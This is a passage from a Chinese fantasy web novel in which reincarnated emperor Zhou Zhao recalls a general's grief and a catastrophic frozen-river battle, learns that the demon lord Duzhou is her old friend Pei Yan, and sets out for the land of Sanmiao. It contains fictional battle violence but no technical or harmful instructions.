周昭此时忽然想起来了,变成槐鬼的兰令仪对霍璋说的最后一句话是:“行野,我老了,变得好丑。” 那是周昭第一次见霍璋如此失态,他先是瞪大眼睛静静地看了兰令仪片刻,随后发出一声比鬼还要凄厉的叫喊,槐树上的人头沉寂稍许,突然又齐刷刷地爆发出大笑。霍璋竟然还能握住那把剑,尽管剑柄在他手底下像是一条滑溜溜的血泥鳅,无数次从他手心滑下来,但霍璋到底是握住了,他不仅握住了,还将穿透兰令仪喉咙的剑慢慢地拔出来。 血水像开了闸泼在他来不及卸下的盔甲上,霍璋仍是跪着,双手捧着兰令仪那张死灰颜色的脸,他满是血污的手微微颤抖,这只北疆雪山天边的雄鹰终于飞累了,他仰起头在那颗动人的泪痣上轻轻吻了吻,眼泪混着血滚出眼眶,霍璋把额头轻轻抵在兰令仪死去的脸上,低声呢喃:“令仪,宣庆二十五年,我其实是去祭拜岳父大人了。” 兰令仪死于槐鬼,霍璋千里回朝,“死”于兰令仪。 周昭双脚也像长出根须般定在原地,她听见自己沙哑的声音道:“将军,节哀。” 霍璋好像没听见,保持着这个姿势一动不动,直到槐树轰然倒塌,他才摇摇晃晃站起来,露出一个比鬼还难看的笑,无力道:“陛下,她不肯。” 霍璋回来时抓了一个姜国人,不是士兵,随手在村子里抓来的,他将那无辜的年轻人绑在马上一路飞奔回盛都,周昭闻讯赶来,霍璋跪在她面前祈求准许他剖心救人。 周昭喉咙干涩,没有回答。霍璋脱下盔甲随手扔在地上,用袖子珍视地擦干净剑上的血花,放在那副盔甲上,双膝跪地,叩首道:“陛下,臣有罪。” “爱卿——何罪之有?” “一罪,臣滥杀无辜。” “二罪,臣未护吾妻周全。”霍璋的声音随之哽咽,继续道,“……三罪,臣已无心战事,不得复尽忠。” “这把剑,臣已经没有资格再用了。陛下若不嫌弃,便请收下罢。” 他说完起身便走,周昭隔了老远才下意识地喊了句:“将军,你也要离我而去吗?” 122. 第 122 章 周昭后来很后悔当初多余说那么一句话,三个月后霍璋死在战场上,部下将那把浸透了太多人血的行野剑连同霍璋的盔甲送回盛都,从那以后周昭变成了这把剑的主人。 至于兰令仪远在南疆却染上疟鬼之事,周昭不信邪地查了个天翻地覆,最后竟然查到李勇头上。 李勇被斩首前还在叫嚣:“兰令仪一个女人,竟敢打我!要不是她兰令仪!老子早就是大将军了!” 可笑,太可笑了。 就因为一鞭之仇,竟能狠毒到暗中将气数未尽的槐鬼珠子放在兰令仪身边。 周昭气得心肝肺五脏六腑抽着疼,收回斩首之命,将那李勇活剐了。但这又有什么用呢?兰令仪不是死在战场上,而是死在朝堂上,死在一颗为国为民眼里容不得沙子的心上。 那个被霍璋抓来的姜国人反倒没有死,只是虚弱过度,加上被剑划了一道,休养了半个多月便好了,只是左脸多了道磕绊出来的疤,看着触目惊心。霍璋说兰令仪不肯做吃人心的妖怪,其实霍璋又何尝不是不肯。周昭放他回姜国,年轻人道:“我无父母妻儿,无兄弟朋友,不愿回去。” “你待如何?” “我要留在盛都,查清楚槐鬼的真相。陛下,你敢让小民留下吗?” …… “明鸢?”一声遥远的叹息落在耳边。周昭首先看到渡舟的脸,紧闭的房门将一切声音隔绝于外,显得靠近自己的眉眼格外明晰,像被月色洗练过一般。 未待她询问,渡舟便道:“瑶姬被那骷髅重伤,几乎魂飞魄散,白赭带她走了......明鸢,你刚才在想什么,如此入神?” 周昭注视着渡舟的眼睛,胡言乱语道:“我在想,裴砚临死前,到底有没有给我留下什么话。” 那双眼睛果然留下稍纵即逝的涟漪,就像刚才周昭故意抓住那只手,感受到他指尖微微的跳动,渡舟平静道:“或许,是让殿下好好活着。” “哦,你也认识我那位朋友?那你知道这些年他过得好吗?” “不算好。” “裴砚这个人,是块木头。”周昭有些突兀地说道。 渡舟不咸不淡地接话道:“殿下说的是。” 周昭凝视半晌,平静道:“我该叫你萧十六、裴砚、还是妖主大人?” “……”渡舟也没否认,“随殿下喜欢。” 周昭突然恨恨地看了他一眼:“骗子。” 渡舟被那目光看得心冷,周昭却又陡然卸了浑身防备,似乎累极了,淡淡道:“那少年……还活着吗?” 周昭没说自己上辈子午夜梦回,躺在冰冷的龙床上,常常因为想到裴砚死在自己面前那一幕而惊醒,随后一整夜都不敢闭眼。 是啊,裴砚还活着,就在她伸手就能碰到的地方。 从前的旧人竟好歹留下一个,周昭还有什么理由不满意呢? 但周昭就是有说不上来的愤怒隐隐往上冲,让她甚至想把这人的笑扒开看看。 渡舟垂着眸光看她,原原本本道:“裴砚刚到盛都便身染重疾,他临终时有个心愿未了,我答应帮他了却心愿,顶着裴砚的名字和身体活了两年。我并非存心欺瞒,而是......” 周昭很善解人意地打断他的话,侧目道:“而是有诸多不得已的理由,比如当时成业满世界地找一个离家出走的儿子,比如你羽翼未丰不能以真实面目走出无支山,我都懂。” 既然如此,那时陈子明造反,你又为什么要走出无支山呢? 渡舟住了嘴,少见地露出几分犹豫,终于提及那晚的“争吵”:“明鸢,你不信当年之事是我所为?” 周昭缓缓地吐出一口气:“……我想,至少裴砚不会害我。” 渡舟愣了愣。 其实他认识周昭远比她认为的还要早,也许是冥冥之中的缘分,他从无相渊一路逃到盛都。 那时候渡舟只是觉得此处离无相渊足够远,于是一住几百年。至于那些人间烟火,市井繁华,渡舟并不如何在意。 人间烟火点不燃无支山的黑暗,市井繁华也走不进鬼胎的心。 后来他偶然间遇到周昭,他见证过周昭全部的人生,每当他以为这人要被沉重的现实压垮,她竟然一次又一次站起来。 那些世间最黑暗的、最污浊的,好像都不能让她一颗心堕入深渊。 她走过史书上千篇一律的笔诛墨伐,走过家国破碎众叛亲离,满手鲜血地捧着那颗赤子之心,原谅了他的欺骗。 渡舟的眼中被烛火染上三分艳色,使得那双一贯冷淡的凤眼也多了几分柔和,他嘴唇动了动:“殿下,你可对我有半分……” 周昭打断他:“为何亲我?” 那晚遍地尸体,血色朦胧,周昭眼睁睁看着裴砚倒在自己面前,身后便是叛军刀剑,这人却不知哪里来的力气,一把抱住周昭,冰冷的唇瓣压上她,冲天的血气瞬间在口腔弥漫:“......殿下,活下去。” 周昭此后很多年都忘不掉那股血腥气,连同裴砚这个人,一并难以忘怀。 “……一时冲动。”渡舟紧跟着又道,“也可以说是,经年心魔。” 沉默像窗外浓稠的夜色蔓延开。 突然,门嘎吱一声响,一团人影就好像案板上的汤圆咕噜噜滚进来,滚到他们面前才露出一双写满尴尬的眼睛,陆轻苹许是不敢看渡舟,只好把目光放在周昭身上,很书生气地干笑两声。 周昭偏过头,疑惑道:“陆大人,你这是被谁踹进来的?” 陆轻苹很不自然地恼羞成怒,又在渡舟的压迫感下强颜欢笑,解释道:“他们让我进来看看。” “都滚进来。” 渡舟面对旁人时从来不苟言笑,此刻竟出奇地心情很好,勾了勾手指,另一扇门也砰的一声大开,门外又滚进来三只硕大的黑汤圆,伴随着顾绍高声的辱骂,以及骷髅转动关节的嘎吱声,还有沈云起忍不住脱口而出的惊呼声。 三人摔做一团,好不体面。 顾绍率先站起来,正欲喝骂又被骷髅按下去。陆轻苹扶起沈云起,沈云起急冲冲地赶到周昭面前,关切道:“你如何了?” 周昭并不习惯这样的关切,一时陌生,但从小流淌在血液里的礼节告诉她在这种时候应该报以感恩,于是她微微点点头,“好多了。” 也许是周昭脸上的表情太过于冷淡,沈云起悻悻地站到一旁。顾绍跟骷髅已经打作一团,可惜那骷髅半个手臂刚才被昆仲击飞,骨头架子身体摇摇晃晃不大稳当。 周昭想起刚才渡舟所说,指着骷髅问道:“刚才就是它撞我?” 渡舟点头道:“是它,它似乎对殿下那把剑很感兴趣,瑶姬刚才拔剑,想必让这骷髅感应到什么。它推殿下,其实是想抢夺那把剑。” “一个魂片,难道能用这把剑吗?” “不能,虽然瑶姬被它重伤,但它被剑气反伤。所以正如殿下看到的,顾将军才能跟它打个平手。” 顾绍闻言骂道:“喂!你什么意思?” 渡舟似乎想回骂一句,竟然沉默着什么都没说。 “它喜欢行野剑?” “可以这么说。”渡舟一挥手将顾绍与骷髅分开。 周昭站到骷髅面前,问:“劳驾,你认识我吗?” 骷髅重复道:“劳驾,你认识我吗?” 顾绍抢道:“这笨蛋只会学人说话!” “这笨蛋只会学人说话!” 渡舟道:“这骷髅是附近坟堆里的钻出来的,被魂片占了躯壳,现在跟你们说话的是不是原主,而是魂片。” 周昭惊讶道:“魂片也会有自己的意识吗?我记得那月季花妖只是被魂片激化。” 渡舟解释道:“魂片也有高低之分。低阶魂片能让月季免去修炼一夜化妖,但妖性还是来源于月季自己。高阶魂片则不同,它们生前想必遭受了极大的痛苦,附着在躯壳上便能吞食原有的小妖小鬼,完全成为主宰。但魂片只是魂魄残片,仅仅残存了部分意识,因为无知,所以才凶残。” “说了这么多,你有办法查到这东西的源头吗?”顾绍道。 渡舟转出昆仲,答道:“试试。”说罢,他将昆仲横在唇边,手指按住那多出来的诡异的第九孔,一段低沉的箫声从昆仲流泻而出,他吹这曲仿佛信手捏来,熟练至极,犹如一只哀婉的夜莺啼叫,闻者无不动容。 周昭暗道,这竟是招魂? 顾绍似乎也被这箫声吸引,双目显出不正常的空洞,周昭率先反应过来,忙握住渡舟横箫的小臂晃了晃,箫声戛然而止,顾绍的眼神片刻后恢复清明,他晃了晃脑袋,皱眉道:“要命,你这吹得什么鬼骨箫,听得本侯头痛。”他迈步出门,周昭稍稍放心,示意渡舟可以继续了。 渡舟这回吹得声调与方才似乎不同,吹出几个音之后,殿内燃着的红烛突然间随风摇晃,一股阴气透着寒意蹿到每个人的脖颈里,窗户喀喀作响,那骷髅站直了身子,两只眼眶骨显出格外令人毛骨悚然的大,他双手摸了摸自己的脸,转动脖子时嘎巴嘎巴的直响,看上去对这具躯壳并不习惯。 “来自何处?” “不知。” “姓名。” “……不知。” “籍贯。” “不知。” “好吧,换个问题。”渡舟又道,“死于哪个朝代?” 骷髅两只眼骨圆睁,缓缓道:“……安平、五年。” 周昭一口气险些上不来,问道:“年龄,籍贯,可参军否?” “殿下稍 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就在这时,一只手轻柔地放在她的肩膀上—— 渡舟,不,是裴砚。 裴砚温柔地注视着她,不是陆轻苹和沈云起茫然无措的眼神,那是一双见证过她的痛苦,也陪伴过她为数不多快乐岁月的眼睛。 周昭终于从汴江水的死人堆里露出头,新鲜的空气犹如烈风穿堂流进肺腑,她又活过来了。 “燕飞还活着吗?”周昭偏过头,愣愣地问道。 渡舟道:“……他死了。” “我想也是。”周昭点点头,又问,“那会怎么样?” “魂片被我暂时困在这具躯壳里。但不管我放不放开他,终有一天都会变成吃人的厉鬼。” 此刻不管他们再说什么,骷髅都立在原地安安静静地听着,仿佛这具躯壳已经被用尽,跟这个世界的连结已经被斩断,关于往事一个多余的字也不会再吐出来了。 在这个空当儿,沈云起忍不住嘀嘀咕咕道:“……他们在说什么啊?”陆轻苹欲言又止,沈云起接着道,“大将军?跟刚才那位无头将军哪个官儿大?” “小点声。”陆轻苹道。 周昭望过来,没什么感情地问道:“你想知道他们的故事吗?”她也不管沈云起回答与否,坐在骷髅身边,自顾自道:“燕飞啊,他是我最好的朋友之一,也是我最为忠心的部下之一。我们少年相识,并肩作战。安平六年,我亲征桦城。那年冬天冷极了……” 周昭本以为说出来会很难,没想到出奇的容易。她就像一具漂泊在外的魂魄,看着自己张着嘴巴微微翕动,将那段漫天红与白的往事娓娓道来。沈云起刚听了个开头,便恍然大悟道:“原来是桦城之战......” 周昭侧了侧脑袋,沈云起先是小心翼翼地看了眼渡舟,见对方没有制止的意思,才继续道:“我在史书上读到过。” “你觉得如何?” 沈云起不偏不倚道:“惨烈。但若我是你,也会选择渡江。”沈云起本就对排兵布阵颇有研究,如今天下太平一直未能实战,说到此处不由神采奕奕,“那时汴西十三州虽然全部为凉州所占,但大多数州国连年战乱,早已无人可用。凉州屯兵西南,只待来年开春与其余诸国夹击,大周玄甲营不善水战,那年却天降大雪冻住汴江,与其坐以待毙,不如渡江奇袭,将敌人赶回山外。” 沈云起一口气说完,又道:“但我有一事不明,凉州是怎么知道玄甲营会在那天夜里渡江呢?” “史书上不是写了,我将布阵图提前交给了长淮。”周昭还是习惯性这么称呼谢景,解释道,“黎国。” “不,你不会这么做。”沈云起斩钉截铁道。 周昭没什么多余的表情,仅仅蹙起眉,保持着一贯的淡漠。沈云起道:“在镜妖的幻境里我见过你,你不会叛国。” 周昭还是面无表情,她站起来时膝盖有些痛,渡舟眼疾手快地扶了她一把,担忧地看着她,周昭突然想起什么,好奇地问:“那时候,你也在我身边吗?” 渡舟轻轻抿唇,摇头道:“不在。” “哦,没关系。”周昭抽出那把剑,骷髅随着她的动作头颅向下转,又向上转。周昭扭头问道:“这不是燕飞,对吗?” “对,不是。” 喀嚓—— 剑尚未动,骷髅头却骨碌碌滚到地上,渡舟收回手,周昭疑惑地看着他。 门外传来一阵浮夸的大笑,顾绍推门进来,他那张从来不肯摘下的面具不见踪影,露出可怕的阴阳面来,顾绍一脚踩住那个骷髅头,笑道:“周昭,你果然心狠手辣。” 123. 第 123 章 沈云起不明所以,渡舟像看垃圾一样居高临下地看了顾绍一眼,道:“你隔三岔五地又活腻了。” 顾绍嘿嘿笑道:“好久不见,来看看咱们尊贵的陛下。” 沈云起错愕道:“大将军,你在胡说八道什么?” 陆轻苹将沈云起护在身后,警惕道:“他不是大将军,是魇鬼。” 渡舟正要举起昆仲,抬起的右手却被一只掌心覆着薄茧的手给轻柔地抓住了,渡舟惊讶地侧目,周昭本欲收回,又觉得未免小家子气,反而将他抓得更紧,理直气壮道:“别杀他。” 先前是试探,这回周昭将其归类为“情急之下”。 昆仲又开始五颜六色地闪,渡舟低沉地笑了一声,丹妙瞅准时机骂道:“狗男女!” 渡舟的手很大,他怒气上涨,周昭不得不用力握住,拇指安抚性地在那只手背上蹭了蹭,做完这个动作周昭自己也觉得诧异,心道:“我这是怎么了?就算知道他就是裴砚,也不至于……” 周昭想到这里便松开渡舟,问道:“丹妙,你占着大将军的身体,无非是害怕渡舟,不敢现身。但又有个不得不现身的理由,说吧,你来找我们有什么事?” 周昭自然不可能念什么“丹妙大人神通广大无所不能”来召唤魇鬼,如今魇鬼贴上来,就有点微妙了…… 丹妙笑道:“还是咱们陛下通情达理。其实,也没什么要紧事......”他穿着那身盔甲,虽然是同一具身体,却远不如顾绍看上去威武,反而显得有些鼠头蛇尾的畏畏缩缩,“我就是来传个信儿。喂,你听没听我说话!你相好的快死了!” 周昭疑惑道:“谁?” “没说你!你眼里只有周朝哪来的相好!” 丹妙说完,骂骂咧咧地转身就走。渡舟黑着脸,将昆仲捏得颜色发白,抬起左手一掌虚空里劈过去,那团灵光结结实实打在丹妙身上,顾绍的身体摇摇晃晃几下,黑影贴墙而走,未至门口便化作一缕青烟散了。 顾绍只是一时神魂被占昏了过去,并无大碍。丹妙最善遁形,众人追着那团青烟出去,一个于周昭而言再熟悉不过的“人影”一闪而过。 周昭陡然一个激灵,暗道:“我没看错吧?无相城竟然还有疟鬼......” 渡舟显然也看到了“老朋友”疟鬼,低声骂了句:“蠢货!” 周昭疑惑地看了他一眼,被灵光一现的陆轻苹抢了先:“主君,会不会放走瑶姬的就是丹妙?” 渡舟分出一个冷冷的眼神,陆轻苹识趣地站到一边,心道:“主君果然还有个相好,并且快死了,可怕,真可怕。”偏偏沈云起不知死活,咋咋呼呼道:“八成就是他!刚才那位仙君不也说,是收到了小师妹在无相城的消息,才赶来此地的吗?” 周昭看好戏的眼神在众人之间流转,道:“或许白赭收到的消息也是丹妙放出去的。十六,你的那位相好或许也是真的有危险。” 渡舟一言不发,脸色愈发阴郁。 陆轻苹拉着不知所措的沈云起离开,顺手拖走了地上的顾绍。大门砰地一声合拢,渡舟深吸一口气,无奈道:“殿下,丹妙胡说罢了,你也信?” “当然信。”周昭拍了拍渡舟的肩膀,安慰道,“裴砚,看不出你也有心悦之人。” “有。”渡舟也不辩驳,挑了挑眉。 周昭的手尴尬地停在半空,偏生渡舟一动不动地看着她,周昭在这赤裸裸的目光注视下缓缓偏过头,手脚不自在地往外移开两步。渡舟像是生气,又像同她开玩笑,抬起昆仲轻轻勾住她袖口,问道:“明鸢,你愿意陪我走一趟吗?” 魇鬼果然逃得无影无踪,那缕若有若无的鬼气在人界很好辨认,到了无相城却好像将一块烂肉扔到乱葬岗里,寻找起来十分困难。 虽然无相城并无黑夜白天之分,也不知道如今渡舟的心情是好还是不好,总之,自打他们来了无相城就没有见过白昼。 陆轻苹陪沈云起去城中闲逛,顾绍正在另一间房呼呼大睡养精蓄锐,周昭跟渡舟共处一室,她既没有心情上街看风景,也没有迟迟不来的睡意。正想趁此机会问问渡舟当年的事,渡舟却罕见地呵欠连天,瞧着十分疲倦。 “殿下,明天见。” 他将周昭送到隔壁房间,走时脚步匆匆。周昭睡得并不踏实,她无端想到第一次来无相城,在马货郎拉的马车里遇到渡舟时的情形,那时候的自己真蠢得可以,竟被渡舟哄骗着给他写字作乐。 不过,周昭想不通渡舟到底是什么时候发现哑奴就是她的,应当是在来无相城之前,可到底是什么时候呢...... 其实仔细想想,一切都有迹可循。 周昭心道:“想必渡舟第一次在姜宅就怀疑我了,所以才会让陆轻苹将我带回牵机营,又三番五次让我为他舞剑......” 太蠢了,怎么会那么蠢。 周昭想到哑奴,又不可避免地想到白赭。但她刚一想到这里,又强迫自己不要再继续往下想。周昭就是周昭,只有一个师父江梅棠。 周昭躺在床上,思绪却像城楼上飘忽不定的云不受控制地飞来飞去。她一会儿想到江梅棠,一会儿想到自己的兄长们,很奇怪的是,每当她想到裴砚,那张脸总是模糊不清,每当她快要想起来原本的裴砚长什么样子,渡舟的脸就会自动取代裴砚的脸出现在脑海里。她认出了渡舟是当年的裴砚,与此同时却忘记了裴砚的相貌。 甘南多风沙,夜幕张开黑色的巨口,遮天蔽日。 黄沙连绵如金色的丝绸玉带,一条浑浊的大江滔滔而下,惊涛拍岸,声势浩大,这就是汴江了。汴江将大周西南山脉一分为二。其外为小咸关,内为大咸关。 小咸关已被汴西占领,大军隔江相望。 大咸关主城名为桦城,城楼宛若一个风烛残年的老人,在汴江水的怒吼声中静默地日复一日伫立着。残阳如血铺满城墙,火红光影笼罩着一个同样沉默的女子。她一身黑衣仿佛镀了层金,那把从未离身的长剑在她手中挥舞得如同游龙出洞,远处守城的士兵目不斜视,目光远远地望向那条波光粼粼的江水。 城中人皆知年轻的帝王巡防后有在江边练剑的习惯,但这名士兵却从来不看,西南风裹挟着粗粝的沙尘拍打在他狰狞的左脸,上面盘着一道伤疤。 旌旗迎风猎猎作响,一个二十多岁的年轻将士跑到她身边站定,呈上一份文书,恭敬道:“陛下,海疆传信。” 太阳仿佛一个红色的肉球缓缓下行,将落不落地悬在江面上。周昭挽了个剑花,翻开文书略扫了一眼,便交给他,道:“不准。” 折子是靖王递来的,姜国去年被大周攻占,折杞便急不可耐地递上一封折子,希望攻打岭夏。 岭夏是为数不多几个没有举兵伐周的邻国,贸然攻之不妥,再者……岭夏是折杞的故国,若举兵,便再无回头路。周昭不愿折杞走她的老路,但周昭一时拿不准折杞会不会领她的情。 那将士应了声是,又拿出一封信,欲言又止道:“陛下……晋川来的。” 晋川地处大周北疆,霍璋死后成为了一块肥肉,本来是被察罕图占领,后来鞑子八大部落内部出了问题,察罕图匆忙撤兵。孟舒孤立无援,燕飞乘势追击,虽然打得孟舒再无还手之力,但是晋川却被黎国捡了便宜。这信若是从晋川而来,只有可能是那个人…… 她跟谢景决裂后,宁啻离开周朝,听说在两国交战之地搭了个简陋医馆,不论是黎国还是周国人,只要伤者都能往里面抬。 周昭呼吸凝滞,热辣辣的夕阳刺在脸上有些痛,她接过信:“知道了,去忙吧。” 出乎意料的是,纸上写的竟然是国事。 信上说黎国如今虽然与凉州共举伐周,但也知凉州狼子野心,一旦周朝战败,届时唇亡齿寒。故愿与大周结盟攻打凉州,事成之后凉州土地皆归黎国所有。 宁啻信中说得委婉,周昭却看出这是谢景的意思。 当初轰轰烈烈的八王伐周,如今只剩下汴西凉州、北疆鞑子和黎国,其余几个小国本来地方就不大,经不起连年征战。但周朝也没占到多少便宜,俗话说攘外必先安内,槐鬼还在盛都疯长,外面的仗又怎么能打得好。 大周如今群狼环伺,稍有不慎,便会被吃得一干二净。若大咸关再失守,就会像当年那样,敌人可一路往南剑指盛都。 在这个时候两国结盟,于大周并无坏处。虽然狮子大开口,也不是不能谈。 这封信末尾又写道:长淮有句话托我一问,当年之事,可有不能说的难处。落款处写着:忘尘。 周昭上回见宁啻已经是一年多以前,那时候他已经出家,法号忘尘。这些年周昭跟谢景满天下打打杀杀,染了一身不干不净的血,谁能想到当年那群远赴三苗的少年郎,只有宁啻出世又入世,身上干干净净,只有一套洗得发白的僧袍而已。 两年了。 黎国跟周朝打了整整两年,周昭的信送了两年,谢景终于转过弯来,琢磨出当年之事或许另有隐情。 可这让周昭怎么说呢…… 虽然黎国王后是自戕,但谢景的父亲确是她所杀。周朝黎国决裂后,谢景率军亲征,每每抓到周朝俘虏便在两国边境大肆虐杀,短短两年,少时情谊早就被硝烟凉血冲了个一干二净,只剩下抹不掉的仇恨。 周昭从没想过有朝一日会收到谢景这样一句话,她转身进帐,召玄甲营将领商议结盟之事。 安平六年秋,黎国大举进犯,周连失三城,节节败退。安平帝大怒,守城官员若干均被严惩。秋后,玄甲营十万大军向东进发,大咸关只余五万,由左将军赵六驻守桦城。汴西凉州派军试探,大喜,回城禀告。凉州王生性多疑,反不敢冒进。 天寒,突降大雪,连下数日不停,汴江水结冰冻流,呈百年难遇之景。 本该在晋川与黎国鏖战的周昭却一身戎装出现在桦城主帅营房,她风尘仆仆,铁甲森然,指着沙盘上那道江 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谢景路过晋川去小坐过几回,说他迂不可及,宁啻则说:神佛渡人,不能救人。出去容易,出去后还愿意转身回来难。 谢景听完他的话,回去一夜没睡,第二日又来晋川,托宁啻转交给周昭那封信。 周昭接过信,问道:“忘尘大师怎么没来?” 小僧人回答:“师父染了风寒,来不了。师父还托我跟陛下说,无需为他挂怀。” “劳烦跟你师父说,保重身体,等空下来朕再去拜访。” 对方双手合十:“陛下言重。” 僧人带来的是谢景的一封手书跟一个信物,信上将黎国此次出兵部署说明得很清楚,只要玄甲营给出信号,黎国便会在汴江上游突袭凉州大军,前后夹击将凉州人一举歼灭。要想将凉州整个包饺子,从上游方向过来的那支军队必须出其不意。晋川距离最近,山脉多好隐蔽。但偏偏晋川现在不在周昭手上。 至于信物,则是一支精致的羊皮马鞭。 众人都看不懂这支马鞭有什么特别之处,只见周昭唇边似乎笑了笑,将马鞭收下,声音软和许多:“忘尘大师,麻烦将这封信转交国主。” 原信转交,意为按原定计划不变。 两国约定,腊月十二出兵。 周昭没告诉宁啻自己留了后手。她早已密信送往北疆,命燕飞分出部分兵力绕后,万一...... 那小僧人走后,周昭望着他那身僧袍,突然有一瞬的恍惚。从什么时候开始,她也开始如此工于心计,甚至不择手段。 …… 雪停,腊月十二,赵六子一语成谶。 玄甲营夜半渡江,于江心中伏。火炮响彻两岸,城楼颤颤巍巍,连咳带喘,灰白的城墙皮子被连天的炮响震得簌簌直落。 黑色的火炮砸下来便是一个更大的黑窟窿。那黑窟窿深不见底,掉下去便再无可能钻出来。冷彻骨头的江水溅得足有一丈多高,以那个黑窟窿为中心像利箭似的飞到月亮下。那晚的月亮尤其明亮,能看清楚冰面上如同龟壳般的裂痕,亦能看清岸边冒着白气的山林里逐渐亮起的火光。 炸飞起来的断臂残肢砸断了士兵的头颅,一个人的脚被另一个人的手紧紧攥住拖入黑窟窿,坚不可摧的冰面突然间如履薄冰,根本不知道这一脚踩下去会是尸体还是江水。人挤着人,人推着人,就像幼童放火烧一团蚂蚁,他们被困死在了这辽阔沉默的汴江之上。 往后退!都往后退!!! 周昭嗓子哑了声,敌军呼啸着如同巨浪掀过天边的黑云。周昭只记得她杀了一个又一个,到最后满眼都是血,她不管看向什么地方都是鲜红的血色,周昭甚至怀疑自己就是死在那江上,而不是史官记载的什么祭天挖心而亡。 ……太阳从不吝啬它的光芒。 当第一缕冬日的阳光照耀在这片红色的大地上,周昭好像是在水里,又好像是在冰面上。腰部以下冻得发僵,腰部以上则被沉甸甸的尸体压住,呼出的气都变成冰,又变成带着死亡气息的热浪挤在她脸上。 直到后来周昭才知道她确实掉进了汴江,只不过那晚死的人实在太多,说来不可思议,尸体竟然也能丈量江水的长度。 陛下!醒醒! 陛下!!! …… 有人托着她的腰往上举,周昭低头看见一口洁白的牙齿,亮得晃眼。周昭怀疑自己在做梦,不然怎么可能在江水里看见那排雪白的牙齿,赵六子脸上的表情死在了脸上,他大睁着眼,一动不动地保持着托举的姿势,周昭不合时宜地想起不久前赵六子说他那小儿子在他肩头撒尿,引来众人哄笑。 周昭也想笑,嘴巴一咧,流出两行冰冷的泪珠子。 紧跟着,有人把她从江水里拖出来,周昭短暂地失聪了一瞬间,继而漫天的喊杀声又争先恐后地挤进她的耳朵。 ——陛下!快跑!!! 跑!! 周昭想哭,她却哭不出来了。 124. 第 124 章 翌日,或许是第三日,无相城终于亮起白昼。 与夜里不同,白日的无相城反而很安静,鬼一个个无精打采,闭不出户。自从上回翻天覆地的一战,无相城已经许久没有活人踏足,他们几个算是鬼中的另类。除了顾绍尚在昏睡,其余人都齐聚在殿内。 陆轻苹公事公办地说道:“主君,属下在城中遍寻一夜,没有丹妙的踪迹。” 渡舟满不在乎道:“丹妙是个活泥鳅,烂臭虫,丢了便丢了。” 周昭没想到渡舟这么会骂人,用眼神表示附和。 “那位……在什么地方?”周昭道。 “什么那位?” “丹妙昨日来报信的。” 渡舟昨日一听到丹妙胡言乱语便鬼冒火,如今却一反常态地笑了笑,恍然大悟道:“是啊,那位。明鸢昨日答应我要去救,不能反悔的。” “自然,现在就去吧。” “三苗国,殿下也肯去吗?” 乍一听到这个名字,周昭愣在原地反应了一会儿,才缓缓重复道:“三苗国啊......” 尽管沈云起被陆轻苹强行拉着站得老远,她还是心直口快地探出脑袋,问道:“三苗国?无妄海对面那蛮荒之地?”陆轻苹低低地应了一声。渡舟压根没注意到他们这边,他在等待周昭的回答。 不知道为什么,周昭总觉得那里是片不祥之地,前世种种浮上心头,让她如今听到这三个字就不大自在。 但与此同时,她的眼前又恍然间浮现出那日在无支坟中见到的那尊玉像,心中涌现出一股莫名的冲动,便点了头。 无支坟底。 一个无相妖主,一个前朝皇帝,一个当朝大将军,一个国师,一个总督,外加......一只据说活了上千年的猫。 刚恢复精力的顾绍便骂骂咧咧道:“本侯是来办差的,还要回去复皇命,没功夫去什么三苗!”沈云起面无表情地冲陆轻苹使了个眼色,陆轻苹一把抓住顾绍左臂,皮笑肉不笑:“大将军先请。” “你!哎轻点儿轻点儿!”顾绍瞪大眼睛,“操了!你不是个书生吗力气这么大!” ...... 周昭跟渡舟并排走着,她不用回头看也知道身后是怎样鸡飞狗跳的情景,渡舟侧目道:“心情不错?” 周昭放下唇角,反问道:“是吗?” “嗯,我看得出来。” 周昭干脆将心里想的问出来,道:“你神通广大,无所不能,完全可以自己去三苗国救人。” “后悔来了?” 周昭摇头道:“不,但他们肉体凡胎,没必要跟着。” 渡舟道:“正因为他们肉体凡胎,所以懂人的乐趣,能让殿下心情变好,就像现在这样。” 周昭一时错愕,般般在她怀里舒服地换了个姿势,渡舟趁机将它一把捞起放在自己肩膀上。 走出十来步,一条火红的巨蟒昂着头斜着眼睛从墓穴里游出来,到周昭头顶时吐了吐信子,一个模样可爱的幼童凭空出现在他们面前挡住去路。烛龙顶着两只幼角打招呼:“你好呀,周昭。” 周昭一想到烛龙已经三千岁,再看这张小孩子脸便浑身不自在,勉强回应道:“你好。” 渡舟满脸不耐,似乎对烛龙这身装扮颇为鄙夷。般般呼哧呼哧地弓起身子,扬起前爪,烛龙也看到白猫,挑衅般飞快地吐出分叉的蛇信,般般隔空一爪子凶狠地拍过去,渡舟不耐烦地抬手一掀,二者滚了个跟头缠到一起厮打去了。 身后传来沈云起等人的惊呼,渡舟从善如流地牵起周昭的手往前走,随手合拢身后的墓门,自言自语道:“吵死了。” 周昭问道:“他们经常这样打吗?” 渡舟道:“几百年见一回,见面便要打。” 眼前又是那间熟悉的地宫,周昭不知想起了什么,神情不大自在。少顷,几片白色花瓣从头顶悄无声息地掉下来,渡舟道:“我们到了。” 周昭只知道渡舟的花瓣能追行踪,没想到还能穿透这无支山窥探外面的情况。 周昭不由心道:“渡舟这法术果真好用,要是行军打仗能把他带在身边……”想着又脸色微变,这时一道天光投射下来,周昭跟着渡舟往外走,眼皮上先是迎面而来的热浪翻滚,过了好一会儿才看清遍地黄沙。 渡舟很自然地撑起伞挡在周昭头顶,过了阵子其余人也从另一个洞口出来,然后是一条红色巨蟒跟一只白猫缠在一起双双滚出来,无支坟很快消失了踪迹。 顾绍下意识地缩了缩脖子,道:“什么鬼地方,怎么阴森森的……”沈云起则艳羡地看着他们的伞,陆轻苹默默抬起袖子为她挡太阳。 风声呜咽一如当年,但周昭知道这里面已经没有当年的半尸了。她似乎对这些非人的东西有超乎常人的敏感,早在哑奴时她便发现了这一点。渡舟用脚踩了踩地上的黄沙,道:“都被魂片吃了。” “原来如此……” “富贵儿,那是什么?”沈云起道。 众人顺着她指向的地方看去,明晃晃的太阳透出巨大的光晕,黄沙在热光中仿佛海浪浮动,尽头隐隐透出什么东西,远看像一把倒立着的剑。“去看看。”周昭道。 渡舟不置可否,跟着周昭往前走。越往那柄“剑”靠近,那东西的轮廓越清晰,走出十余丈,一个人头猝不及防地跳入视线。沈云起叫道:“那是个人?” 陆轻苹道:“是人,但不是活人。” 顾绍不以为然,率先跑到前面去,指着那头颅叫道:“不就是座石像吗?也值得如此大惊小怪!” 周昭隐隐有些担心石像有异,忍不住道:“大将军,往后退些吧!”她边走边道:“当年我们来时,为何不曾看到这尊石像呢?” 渡舟道:“也许这石像当年被埋在地底下,风吹了一千多年,才显露出真面目呢。” “当真?” 